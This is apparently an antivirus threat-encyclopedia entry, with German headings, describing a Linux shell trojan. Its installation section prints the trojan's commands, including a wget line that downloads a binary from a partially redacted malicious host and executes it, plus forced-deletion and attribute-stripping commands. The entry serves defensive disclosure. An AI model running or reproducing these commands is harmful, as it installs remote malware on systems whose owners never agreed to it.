Trojan.SH.SKIDMAP.UWEKB

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein und führt sie aus:

• /var/lib/gif

Fügt die folgenden Prozesse hinzu:

• md5sum gif|grep c40f853e641b91565ecc92fe1affd78e|grep -v grep |wc -l
• chattr -ia -R /var/lib/gif  > /dev/null 2>&1
• /bin/rm -rf /var/lib/gif
• wget -c http://y.{BLOCKED}l.com/gif -O /var/lib/gif && chmod +x /var/lib/gif && /var/lib/gif

Andere Details

It connects to the following possibly malicious URL:

• http://y.{BLOCKED}l.com/gif